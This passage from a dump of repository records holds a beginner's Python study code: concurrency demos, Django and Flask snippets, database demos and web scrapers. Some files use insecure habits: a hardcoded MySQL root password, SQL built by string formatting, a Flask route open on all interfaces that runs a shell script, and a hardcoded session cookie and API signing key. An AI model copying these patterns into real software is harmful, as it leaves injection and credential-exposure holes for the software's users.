counter):\n# while counter:\n# time.sleep(delay)\n# print(\"%s 开始摸鱼 %s\" % (name, time.strftime(\n# '%Y-%m-%d %H:%M:%S', time.localtime())))\n# counter -= 1\n\n\n# thread1 = MyThread(1, '小明', 1)\n# thread2 = MyThread(2, '小红', 2)\n# thread1.start()\n# thread2.start()\n# thread1.join()\n# thread2.join()\n# print('推出主线程')\n\n# if __name__ == '__main__':\n# pool = ThreadPoolExecutor(20)\n# for i in range(1, 5):\n# pool.submit(moyu_time('摸鱼用户'+str(i), 2, 3))\n\n\n# class CustomThread(threading.Thread):\n# def __init__(self, queue):\n# threading.Thread.__init__(self)\n# self.__queue = queue\n\n# def run(self):\n# while True:\n# q_method = self.__queue.get()\n# q_method()\n# self.__queue.task_done()\n\n\n# def moyu():\n# print(\" 开始摸鱼 %s\" % (time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())))\n\n\n# def queue_pool():\n# queue = Queue(5)\n# for i in range(queue.maxsize):\n# t = CustomThread(queue)\n# t.setDaemon(True)\n# t.start()\n# for i in range(20):\n# queue.put(moyu)\n# queue.join()\n\n\n# if __name__ == \"__main__\":\n# queue_pool()\n\ndef f(name):\n print('hello', name)\n\n\ndef x(x):\n time.sleep()\n return x*x\n\n\nif __name__ == \"__main__\":\n # p = Process(target=f, args=('xiaoming',))\n # p.start()\n # p.join()\n\n # with Pool(5) as p:\n # print(p.map(x, [1, 2, 3, 4, 5]))\n\n names = ['zhangsan', 'lisi', 'xiaohong', 'ersha', 'goudan']\n # 多进程\n # pool = multiprocessing.Pool(multiprocessing.cpu_count())\n # pool.map(f, names)\n # pool.close()\n # pool.join()\n\n with concurrent.futures.ProcessPoolExecutor(max_workers=5) as exector:\n for name in names:\n exector.submit(f, name)\n" }, { "alpha_fraction": 0.47457626461982727, "alphanum_fraction": 0.4788135588169098, "avg_line_length": 10.2380952835083, "blob_id": "029fe1217fe360f57bc8ce4a85b458c8f6965075", "content_id": "8d7cc476e71221298b4b5d398d218ccb3cebdb4c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 302, "license_type": "no_license", "max_line_length": 25, "num_lines": 21, "path": "/Shell/Study.sh", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "\n#!/bin/bash\n\naa=(\"A\" \"B\" \"C\")\nPS3=\"您的选择是:\"\necho \"数组元素个数为: ${#aa[*]}\"\necho \"请输入您的选择:\"\nselect type in ${aa[*]}\ndo\n case $type in\n A)\n echo \"您选择了A\"\n ;;\n B)\n echo \"您选择了B\"\n ;;\n C)\n echo \"您选择了C\"\n ;;\n esac\n break\n done" }, { "alpha_fraction": 0.4957805871963501, "alphanum_fraction": 0.699578046798706, "avg_line_length": 15.928571701049805, "blob_id": "e4e6a8a1ea40c9052fb6963b11314ee2dbf3e41e", "content_id": "01ce996284950ecd6ced3dd101d028dec97f5524", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 2370, "license_type": "no_license", "max_line_length": 30, "num_lines": 140, "path": "/requirement.txt", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "altgraph==0.16.1\nappdirs==1.4.4\nAppium-Python-Client==1.0.1\nappnope==0.1.0\nastroid==2.4.1\nattrs==19.3.0\nAutomat==0.8.0\nautopep8==1.4.4\nbackcall==0.1.0\nbeautifulsoup4==4.8.1\nblinker==1.4\nBrotli==1.0.7\nbs4==0.0.1\nbuiltwith==1.3.3\ncertifi==2019.9.11\ncffi==1.13.2\nchardet==3.0.4\nClick==7.0\nconstantly==15.1.0\ncryptography==2.9.2\ncssselect==1.1.0\ndecorator==4.4.0\nDjango==2.2.6\nExifRead==2.1.2\nfake-useragent==0.1.11\nFaker==2.0.4\nFlask==1.1.1\nFlask-SQLAlchemy==2.4.1\nfonttools==4.12.1\nfuture==0.18.2\nh11==0.9.0\nh2==3.2.0\nhpack==3.0.0\nhtml5lib==1.0.1\nhttpie==1.0.3\nhyperframe==5.2.0\nhyperlink==19.0.0\nidna==2.8\nincremental==17.5.0\nipython==7.8.0\nipython-genutils==0.2.0\nisort==4.3.21\nitchat==1.3.10\nitsdangerous==1.1.0\njedi==0.15.1\nJinja2==2.10.3\nkaitaistruct==0.8\nlazy-object-proxy==1.4.3\nldap3==2.7\nlxml==4.3.4\nmacholib==1.11\nMarkupSafe==1.1.1\nmccabe==0.6.1\nmitmproxy==5.1.1\nmodulegraph==0.17\nmysql-connector-python==8.0.18\nmysqlclient==1.4.5\nnumpy==1.17.3\npandas==1.0.5\nparse==1.15.0\nparsel==1.5.2\nparso==0.5.1\npasslib==1.7.2\npdfkit==0.6.1\npexpect==4.7.0\npickleshare==0.7.5\nPillow==6.2.1\nprompt-toolkit==2.0.10\nProtego==0.1.15\nprotobuf==3.10.0\nptyprocess==0.6.0\npublicsuffix2==2.20191221\npy2app==0.19\npyasn1==0.4.7\npyasn1-modules==0.2.7\npycodestyle==2.5.0\npycparser==2.19\nPyDispatcher==2.0.5\npyee==7.0.2\nPygments==2.4.2\nPyHamcrest==1.9.0\nPyInstaller==3.5\npylint==2.5.2\npymongo==3.9.0\nPyMySQL==0.9.3\npyobjc-core==6.2\npyobjc-framework-Cocoa==6.2\npyobjc-framework-Quartz==6.2\npyOpenSSL==19.1.0\npyparsing==2.4.7\npyperclip==1.8.0\npypng==0.0.20\npyppeteer==0.2.2\nPyQRCode==1.2.1\nPyQt5==5.13.2\nPyQt5-sip==12.7.0\npyquery==1.4.1\npytesseract==0.3.4\npython-dateutil==2.8.1\npython-whois==0.7.2\npytz==2019.3\nPyUserInput==0.1.12\nqueuelib==1.5.0\nredis==3.3.11\nrequests==2.22.0\nrequests-file==1.5.1\nrequests-html==0.10.0\nruamel.yaml==0.16.10\nruamel.yaml.clib==0.2.0\nScrapy==1.8.0\nscrapyd==1.2.1\nselenium==3.141.0\nservice-identity==18.1.0\nsix==1.12.0\nsortedcontainers==2.1.0\nsoupsieve==1.9.5\nSQLAlchemy==1.3.11\nsqlparse==0.3.0\ntext-unidecode==1.3\ntoml==0.10.1\ntornado==6.0.3\ntqdm==4.46.1\ntraitlets==4.3.3\nTwisted==19.7.0\ntyped-ast==1.4.1\nurllib3==1.25.6\nurwid==2.1.0\nvirtualenv==16.7.7\nw3lib==1.21.0\nwcwidth==0.1.7\nwebencodings==0.5.1\nwebsocket-client==0.57.0\nwebsockets==8.1\nWerkzeug==0.16.0\nwrapt==1.12.1\nwsproto==0.15.0\nwxPython==4.0.7\nxlwt==1.3.0\nzope.interface==4.6.0\nzstandard==0.13.0\n" }, { "alpha_fraction": 0.5263158082962036, "alphanum_fraction": 0.6041190028190613, "avg_line_length": 22.052631378173828, "blob_id": "68b69cceb0ba89ee428698cb83bc86c280835166", "content_id": "ea8cc469e01c7d43bfdf3608cfbae806b82ddb78", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 467, "license_type": "no_license", "max_line_length": 68, "num_lines": 19, "path": "/OA/hrs/views.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2019-10-30 17:19:06\n@LastEditors: Yang\n@LastEditTime: 2019-10-31 09:45:07\n@FilePath: /oa/hrs/views.py\n@Description: \n'''\nfrom django.shortcuts import render\n\ndepts_list = [\n {'no': 10, 'name': '财务部', 'location': '北京'},\n {'no': 20, 'name': '研发部', 'location': '成都'},\n {'no': 30, 'name': '销售部', 'location': '上海'},\n]\n\n\ndef index(request):\n return render(request, 'index.html', {'depts_list': depts_list})" }, { "alpha_fraction": 0.6263048052787781, "alphanum_fraction": 0.7118998169898987, "avg_line_length": 25.61111068725586, "blob_id": "127b4edf4a11ee2d07c3ce26acc1dbe6dac2cf81", "content_id": "cf5fc6382f6bc40d5d7ef210717dc3a10e277ef8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 491, "license_type": "no_license", "max_line_length": 62, "num_lines": 18, "path": "/mongoDemo.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-06-30 16:43:12\n@LastEditors: Yang\n@LastEditTime: 2020-07-01 10:02:12\n@FilePath: /python学习/mongoDemo.py\n@Description: 头部注释\n'''\nimport pymongo\n\n# myclient = pymongo.MongoClient('mongodb://localhost:27017/')\nmyclient = pymongo.MongoClient(host='localhost', port=27017)\nmydb = myclient['Students']\nmycol = mydb['sites']\nmydict = {'name': 'TOM', 'sex': 'man', 'height': '178'}\nmycol.insert_one(mydict)\nlists = myclient.list_database_names()\nprint(lists)\n" }, { "alpha_fraction": 0.4752435088157654, "alphanum_fraction": 0.5633116960525513, "avg_line_length": 27.65116310119629, "blob_id": "1058056ae8073b1003fd589febcf811ba4ac06b0", "content_id": "18e43ba2c99d65c9a9a87e4d47d9a2cfc234f76d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2500, "license_type": "no_license", "max_line_length": 185, "num_lines": 86, "path": "/youdaoDict.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-06-29 10:45:29\n@LastEditors: Yang\n@LastEditTime: 2020-06-29 11:18:17\n@FilePath: /python学习/youdaoDict.py\n@Description: 头部注释\n'''\n\nimport requests\nimport time\nimport hashlib\nimport random\n# def main():\n\n\ndef get_ts():\n ts = int(time.time()*1000)\n return ts\n\n\ndef get_bv():\n appVersion = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36'\n m = hashlib.md5()\n m.update(appVersion.encode('utf-8'))\n bv = m.hexdigest()\n return bv\n\n\ndef get_salt(ts):\n num = int(random.random()*10)\n salt = str(ts)+str(num)\n return salt\n\n\ndef get_sign(salt):\n a = 'fanyideskweb'\n b = '你死定了'\n c = salt\n d = 'mmbP%A-r6U3Nw(n]BjuEU'\n str_data = a+b+str(c)+d\n m = hashlib.md5()\n m.update(str_data.encode('utf-8'))\n sign = m.hexdigest()\n return sign\n\n\ndef get_data_form():\n ts = get_ts()\n salt = get_salt(ts)\n form_data = {\"i\": \"你死定了\",\n \"from\": \"AUTO\",\n \"to\": \"AUTO\",\n \"smartresult\": \"dict\",\n \"client\": \"fanyideskweb\",\n \"salt\": str(salt),\n \"sign\": get_sign(salt),\n \"ts\": str(ts),\n \"bv\": get_bv(),\n \"doctype\": \"json\",\n \"version\": \"2.1\",\n \"keyfrom\": \"fanyi.web\",\n \"action\": \"FY_BY_REALTlME\", }\n return form_data\n\n\nurl = 'http://fanyi.youdao.com/translate_o?smartresult=dict&smartresult=rule'\nheader = {\"Cookie\": \"[email protected]; OUTFOX_SEARCH_USER_ID_NCOO=101298913.63356031; JSESSIONID=aaaw1RZrZ6TwH8IDI69lx; ___rl__test__cookies=1593397920726\",\n \"Host\": \"fanyi.youdao.com\",\n \"Referer\": \"http://fanyi.youdao.com/\",\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36\"}\ndata = {\"i\": \"你死定了\",\n \"from\": \"AUTO\",\n \"to\": \"AUTO\",\n \"smartresult\": \"dict\",\n \"client\": \"fanyideskweb\",\n \"salt\": \"15933979207295\",\n \"sign\": \"751167fcd9a820f241eade65a6c3fe85\",\n \"ts\": \"1593397920729\",\n \"bv\": \"aa061c171a429ca520c4594fc212cef5\",\n \"doctype\": \"json\",\n \"version\": \"2.1\",\n \"keyfrom\": \"fanyi.web\",\n \"action\": \"FY_BY_REALTlME\", }\nresponse = requests.post(url=url, data=get_data_form(), headers=header)\nprint(response.content)\n" }, { "alpha_fraction": 0.5747126340866089, "alphanum_fraction": 0.6819923520088196, "avg_line_length": 16.399999618530273, "blob_id": "23957be751d7b16047cd9a60a004652f2b331e4d", "content_id": "4dcc850e19025dd0dd17da620ee892340cbd6419", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 261, "license_type": "no_license", "max_line_length": 40, "num_lines": 15, "path": "/mysite/polls/urls.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2019-10-28 10:00:36\n@LastEditors: Yang\n@LastEditTime: 2019-10-28 10:00:53\n@FilePath: /mysite/polls/urls.py\n@Description: \n'''\nfrom django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n]\n" }, { "alpha_fraction": 0.506369411945343, "alphanum_fraction": 0.6242038011550903, "avg_line_length": 20, "blob_id": "8b80aa2f53d430e768094c43aaeff80ace3492c7", "content_id": "ea6df1a3c714c49295a1be0564d95c7c6dc40567", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 356, "license_type": "no_license", "max_line_length": 39, "num_lines": 15, "path": "/PandasDemo.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-06-22 14:27:03\n@LastEditors: Yang\n@LastEditTime: 2020-06-22 14:29:18\n@FilePath: /python学习/PandasDemo.py\n@Description: 头部注释\n'''\nimport pandas as pd\n\na=['张三','李四','王二']\nb=['男','男','女']\nc=['173','188','167']\ndf=pd.DataFrame({'姓名':a,'性别':b,'身高':c})\ndf.to_csv('aa.csv',index=False,sep=',')" }, { "alpha_fraction": 0.5380333662033081, "alphanum_fraction": 0.5745207071304321, "avg_line_length": 33.40425491333008, "blob_id": "1de9aab2de7bfcc2f6d7270c255882c8a2b86199", "content_id": "8ae3beca10e4dbefbf68120fe5ad826b5288c19e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1629, "license_type": "no_license", "max_line_length": 144, "num_lines": 47, "path": "/qiushibaike/qiushibaike/qiushibaike/spiders/qiushibaike.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n @Author: Yang\n @Date: 2019-10-11 13:31:19\n@LastEditors: Yang\n@LastEditTime: 2020-07-01 13:30:01\n@FilePath: /python学习/qiushibaike/qiushibaike/qiushibaike/spiders/qiushibaike.py\n @Description: 头部注释\n '''\n\n\nimport scrapy\nfrom qiushibaike.items import QiushibaikeItem\n\n\nclass QiushiSpider(scrapy.Spider):\n name = 'qiushibaike'\n headers = {\n \"Host\": \"www.qiushibaike.com\",\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36\"\n }\n\n def start_requests(self):\n urls = [\n 'https://www.qiushibaike.com/8hr/page/1/',\n 'https://www.qiushibaike.com/8hr/page/2/'\n ]\n for url in urls:\n yield scrapy.Request(url=url, callback=self.parse, headers=self.headers)\n\n def parse(self, response):\n # page = response.url.split('/')[-2]\n # filename = 'qiushi-%s.html' % page\n # with open(filename, 'wb') as f:\n # f.write(response.body)\n # self.log('saved file %s' % filename)\n\n for item in response.css('.recommend-article li'):\n # qbItem = QiushibaikeItem()\n # qbItem['title'] = item.css(\n # 'div.recmd-right a.recmd-content::text').get(),\n # qbItem['author'] = item.css(\n # 'div.recmd-right span.recmd-name::text').get(),\n # yield qbItem\n yield {\n 'title': item.css('div.recmd-right a.recmd-content::text').get(),\n 'author': item.css('div.recmd-right span.recmd-name::text').get(),\n }\n" }, { "alpha_fraction": 0.5174216032028198, "alphanum_fraction": 0.6602787375450134, "avg_line_length": 23.95652198791504, "blob_id": "6e4394ae7cc60e4d253d7e02c611a6456c933d7e", "content_id": "c48ca30a70a5d65675b5a395cc30d332dbe9278d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 586, "license_type": "no_license", "max_line_length": 146, "num_lines": 23, "path": "/download.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-07-03 10:14:55\n@LastEditors: Yang\n@LastEditTime: 2020-07-03 13:59:02\n@FilePath: /python学习/download.py\n@Description: 头部注释\n'''\nimport requests\n\n\ndef download(url):\n\n header = {\n \"user-agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36\",\n }\n with open('123.jpg', 'wb') as f:\n img = requests.get(url, headers=header).content\n f.write(img)\n print(url)\n\n\ndownload('http://img3.imgtn.bdimg.com/it/u=1428981598,4123167573&fm=26&gp=0.jpg')\n" }, { "alpha_fraction": 0.5114504098892212, "alphanum_fraction": 0.6183205842971802, "avg_line_length": 15.375, "blob_id": "af09ee73421aabacc86a9d82ff704f4fabc15f38", "content_id": "5452d9d80f4f31d9561a67eb9eb24d3beb0665f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 262, "license_type": "no_license", "max_line_length": 48, "num_lines": 16, "path": "/Python/demo.sh", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "### \n# @Author: Yang\n # @Date: 2019-11-06 13:28:50\n # @LastEditors: Yang\n # @LastEditTime: 2019-11-18 15:12:18\n # @FilePath: /Python/demo.sh\n # @Description: \n ###\n\n#!/bin/bash\n\ncd /Users/yang/Desktop/Python\n\nls\n\nsed -i \"\" \"s/type = false/type = true/g\" test.js\n" }, { "alpha_fraction": 0.503287672996521, "alphanum_fraction": 0.5238355994224548, "avg_line_length": 32.181819915771484, "blob_id": "835eaf3ec04674dba58a35fe4b472ec3cc67776f", "content_id": "b0bcb8a8b77b9623b113bd5b24d3c7c1d967de5f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3674, "license_type": "no_license", "max_line_length": 328, "num_lines": 110, "path": "/dangdang.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-06-15 13:48:53\n@LastEditors: Yang\n@LastEditTime: 2020-07-02 16:14:10\n@FilePath: /python学习/dangdang.py\n@Description: 头部注释\n'''\nimport requests\nimport re\nimport json\nfrom bs4 import BeautifulSoup\nimport pymongo\nfrom lxml import etree\n\n\ndef main(page):\n url = 'http://bang.dangdang.com/books/fivestars/01.00.00.00.00.00-recent30-0-0-1-' + \\\n str(page)\n html = request_dangdang(url)\n lists = parse_result_etree(html)\n # lists = parse_result(html)\n write_data(lists)\n # for item in lists:\n # print(item)\n # write_item_to_file(item)\n\n\ndef request_dangdang(url):\n try:\n response = requests.get(url)\n if response.status_code == 200:\n return response.text\n except requests.RequestException:\n return None\n\n\ndef parse_result_etree(html):\n root = etree.HTML(html)\n lists = root.xpath(\"//ul[@class='bang_list clearfix bang_list_mode']/li\")\n for item in lists:\n title = item.xpath('div[@class=\"name\"]/a/text()')[0]\n author = item.xpath('div[@class=\"publisher_info\"][1]/a/text()')[0]\n publisher = item.xpath('div[@class=\"publisher_info\"][2]/a/text()')[0]\n price = item.xpath('//span[@class=\"price_n\"]/text()')[0]\n star = item.xpath('//span[@class=\"level\"]/span/@style')[0]\n print(title, author, publisher, price, star)\n yield {\n 'title': title,\n 'author': author,\n 'publisher': publisher,\n 'price': price,\n 'star': star\n }\n\n\ndef parse_result(html):\n # print(html)\n soup = BeautifulSoup(html, 'lxml')\n lists = soup.find('ul', class_='bang_list_mode').find_all('li')\n for item in lists:\n title = item.find(class_='name').find('a').get('title')\n author = item.find_all(class_='publisher_info')[\n 0].find_all('a')[0].get_text()\n publisher = item.find_all(class_='publisher_info')[1].find('a').string\n price = item.find(class_='price').find(\n 'span', class_='price_n').get_text()\n star = item.find(class_='level').find('span').get('style')\n print(title, author, publisher)\n yield {\n 'title': title,\n 'author': author,\n 'publisher': publisher,\n 'price': price,\n 'star': star\n }\n # items = []\n # yield items\n # def parse_result(html):\n # pattern = re.compile('<li>.*?list_num.*?(\\d+).</div>.*?<img src=\"(.*?)\".*?class=\"name\".*?title=\"(.*?)\">.*?class=\"star\">.*?class=\"tuijian\">(.*?)</span>.*?class=\"publisher_info\">.*?target=\"_blank\">(.*?)</a>.*?class=\"biaosheng\">.*?<span>(.*?)</span></div>.*?<p><span\\sclass=\"price_n\">&yen;(.*?)</span>.*?</li>', re.S)\n # items = re.findall(pattern, html)\n # for item in items:\n # yield {\n # 'range': item[0],\n # 'iamge': item[1],\n # 'title': item[2],\n # 'recommend': item[3],\n # 'author': item[4],\n # 'times': item[5],\n # 'price': item[6]\n # }\n\n # def write_item_to_file(item):\n # # print('开始写入数据 ====> ' + str(item))\n # with open('book.txt', 'a', encoding='UTF-8') as f:\n # f.write(json.dumps(item, ensure_ascii=False) + '\\n')\n # f.close()\n\n\ndef write_data(data):\n client = pymongo.MongoClient(host='localhost', port=27017)\n db = client['dangdangwang']\n coll = db['books']\n coll.insert_many(data)\n print(data)\n\n\nif __name__ == \"__main__\":\n for i in range(1, 10):\n main(i)\n" }, { "alpha_fraction": 0.6234132647514343, "alphanum_fraction": 0.66995769739151, "avg_line_length": 25.259260177612305, "blob_id": "52529e3c6891cee5813f2ab7306e0a57d3560026", "content_id": "d2133ed1931db0a60c45bc76c9be441a7dba654b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 749, "license_type": "no_license", "max_line_length": 162, "num_lines": 27, "path": "/mysql.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-06-22 15:11:58\n@LastEditors: Yang\n@LastEditTime: 2020-07-01 16:28:51\n@FilePath: /python学习/mysql.py\n@Description: 头部注释\n'''\n\nimport pymysql\n\ndb = pymysql.connect(host='localhost', user='root',\n db='yang', passwd='12345678',)\ncursor = db.cursor()\nsql = \"\"\"create table if not exists person (id int not null auto_increment, name text not null,age int,sex int,height int,primary key (id))default charset=utf8\"\"\"\ncursor.execute(sql)\nb = 'xiaogou'\nc = 4\nd = 0\ne = 35\ninsertSql = \"insert into person(name, age, sex, height) values('%s',%s,%s,%s)\" % (\n b, c, d, e)\nres = cursor.execute(insertSql)\nprint(res)\n# 最后我们关闭这个数据库的连接\ncursor.connection.commit()\ndb.close()\n" }, { "alpha_fraction": 0.5477356314659119, "alphanum_fraction": 0.591799259185791, "avg_line_length": 22.014083862304688, "blob_id": "8ed28fa2b127926956763fbb058c89d7f7404ac0", "content_id": "b4a4f446d314c1661870f52edd6b2c11d49de335", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1646, "license_type": "no_license", "max_line_length": 139, "num_lines": 71, "path": "/demo.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-06-16 17:03:43\n@LastEditors: Yang\n@LastEditTime: 2020-07-10 14:47:49\n@FilePath: /python学习/demo.py\n@Description: 头部注释\n'''\nfrom bs4 import BeautifulSoup\n\n\nhtml_doc = \"\"\"\n <html>\n <head>\n <title>\n The Dormouse's story\n </title>\n </head>\n <body>\n <p class=\"title\">\n <b>\n The Dormouse's story\n </b>\n </p>\n <p class=\"story\">\n Once upon a time there were three little sisters; and their names were\n <a class=\"sister\" href=\"http://example.com/elsie\" id=\"link1\">\n Elsie\n </a>\n ,\n <a class=\"sister\" href=\"http://example.com/lacie\" id=\"link2\">\n Lacie\n </a>\n and\n <a class=\"sister\" href=\"http://example.com/tillie\" id=\"link3\">\n Tillie\n </a>\n ;\nand they lived at the bottom of a well.\n </p>\n <p class=\"story\">\n ...\n </p>\n </body>\n</html>\n\"\"\"\n\nsoup = BeautifulSoup(html_doc, 'lxml')\nprint(soup.title.string)\nprint(soup.find(class_='story').find_all('a', id='link2')[0].get_text())\nprint(soup.find(class_='story').find_all('a', id='link3')[0].get('href'))\nprint(soup.select('#link3')[0].get('href'))\n\n# print(soup.prettify())\n\n\ndef header(referer):\n\n headers = {\n 'Host': 'i.meizitu.net',\n 'Pragma': 'no-cache',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6',\n 'Cache-Control': 'no-cache',\n 'Connection': 'keep-alive',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36',\n 'Accept': 'image/webp,image/apng,image/*,*/*;q=0.8',\n 'Referer': '{}'.format(referer),\n }\n\n return headers\n" }, { "alpha_fraction": 0.5718336701393127, "alphanum_fraction": 0.6172022819519043, "avg_line_length": 18.236364364624023, "blob_id": "0ed61ef9706f3165501466b0e19f3d9391d3de9d", "content_id": "404fc5af611dc114d003087a76c0c2caf92281af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1100, "license_type": "no_license", "max_line_length": 107, "num_lines": 55, "path": "/Python/serve.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2019-10-25 16:46:55\n@LastEditors: Yang\n@LastEditTime: 2019-10-28 14:53:49\n@FilePath: /Python/serve.py\n@Description:\n'''\n# -*- coding:utf-8 -*-\n# -*- coding:utf-8 -*-\nfrom flask import Flask\nimport os\napp = Flask(__name__)\n\nhtml = \"\"\"\n<!DOCTYPE html>\n<html>\n<head lang=\"en\">\n<meta charset=\"UTF-8\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0,maximum-scale=1.0, user-scalable=no\"/>\n<title>测试</title>\n<script src=\"https://cdn.bootcss.com/jquery/3.4.1/jquery.js\"></script>\n</head>\n<body>\n<div style=\"text-align:center;\">\n<button type=\"button\" class=\"call-py\" style=\"font-size:24px;\">点击打开计算器</button>\n</div>\n<script type=\"text/javascript\">\n$(function(){\n$(\".call-py\").click(function(){\n $.get(\"/call_shell\",function(result){\n alert(\"调用成功!\")\n })\n})\n})\n</script>\n</body>\n</html>\n\"\"\"\n\n\[email protected](\"/\")\ndef main():\n return html\n\n\[email protected](\"/call_shell\")\ndef call():\n # print(\"调用计算器\")\n os.system('./shell.sh')\n return \"成功\"\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=5081)\n" }, { "alpha_fraction": 0.5358139276504517, "alphanum_fraction": 0.5593023300170898, "avg_line_length": 17.259023666381836, "blob_id": "41b1c449ccd57fd31130552fa32eb2ca52f39f8c", "content_id": "48572a63a6486f0e31227cd764271e2a762f3c07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9550, "license_type": "no_license", "max_line_length": 75, "num_lines": 471, "path": "/Python/hello.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2019-10-24 13:24:45\n@LastEditors: Yang\n@LastEditTime: 2019-11-12 14:48:53\n@FilePath: /Python/hello.py\n@Description:\n'''\n\nfrom tkinter import *\nimport tkinter.messagebox\nimport turtle\nimport urllib\nimport doctest\nimport zlib\nimport datetime\nimport random\nimport math\nimport re\nimport glob\nimport tkinter\nimport os.path\nimport os\nimport pprint\nimport pickle\nfrom collections import deque\nimport sys\nimport stat\n'''\nfrom sys import path\nimport sys\nimport keyword\nprint(\"Hello,World !\")\nprint(keyword.kwlist)\nx = \"runoob\"\nsys.stdout.write(x + '\\n')\nfor i in sys.argv:\n print(i)\nprint('\\n python 路径为', sys.path)\nprint('path', path)\na, b, c, d = 20, 5.5, True, 4+3j\nprint(type(a), type(b), type(c), type(d))\nprint(isinstance(a, int))\na, b = 0, 1\nwhile b < 1000:\n print(b, end=',')\n a, b = b, a+b\n\na, b = 10, 20\nif a == b:\n print('a等于b')\nelse:\n print('a不等于b')\nage = int(input(\"请输入你家狗狗的年龄: \"))\nprint(\"\")\nif age <= 0:\n print(\"你是在逗我吧!\")\nelif age == 1:\n print(\"相当于 14 岁的人。\")\nelif age == 2:\n print(\"相当于 22 岁的人。\")\nelif age > 2:\n human = 22 + (age - 2)*5\n print(\"对应人类年龄: \", human)\n\n# 退出提示\ninput(\"点击 enter 键退出\")\n\n\n\nlanguages = ('C', 'C++', 'Python', 'Java')\nfor lan in languages:\n print(lan)\nfor i in range(1, 100, 5):\n print(i, end=',')\n\n\nlist = [1, 2, 3, 4, 5, 6]\nit = iter(list)\nwhile True:\n try:\n print(next(it))\n except StopIteration:\n sys.exit()\n'''\n\n\"\"\"\nclass MyNumbers:\n def __iter__(self):\n self.a = 1\n return self\n\n def __next__(self):\n if self.a < 20:\n x = self.a\n self.a += 1\n return x\n else:\n raise StopIteration\n\n\nmyclass = MyNumbers()\nmyiter = iter(myclass)\nfor i in myiter:\n print(i)\n\"\"\"\n# 斐波那契数列\n\"\"\"\ndef fibonacci(n):\n a, b, counter = 0, 1, 0\n while True:\n if (counter > n):\n return\n yield a\n a, b = b, a+b\n counter += 1\n\n\nf = fibonacci(10)\n\nwhile True:\n try:\n print(next(f))\n except StopIteration:\n sys.exit()\n\"\"\"\n# 函数\n\"\"\"\ndef methodName(a):\n a = a**a\n return a\n\nprint(methodName(5))\n\"\"\"\n\n\n\"\"\"\ndef changeInt(a):\n a = 10\n\n\nb = 5\nchangeInt(b)\nprint(b)\n\"\"\"\n\n\"\"\"\ndef changeme(mylist):\n mylist.append([5, 6, 7, 8])\n print(\"函数内取值\", mylist)\n\n\nlist = [1, 2, 3, 4]\nchangeme(list)\nprint(\"函数外取值\", list)\n\"\"\"\n\"\"\"\nqueue = deque([\"Eric\", \"John\", \"Michael\"])\n\nprint(queue.popleft())\n# 列表推导式\nvec = [1, 2, 3, 4]\nvec2 = [1, 2, 3]\naa = [2*x for x in vec]\nprint(aa)\nbb = [[x, x**2] for x in 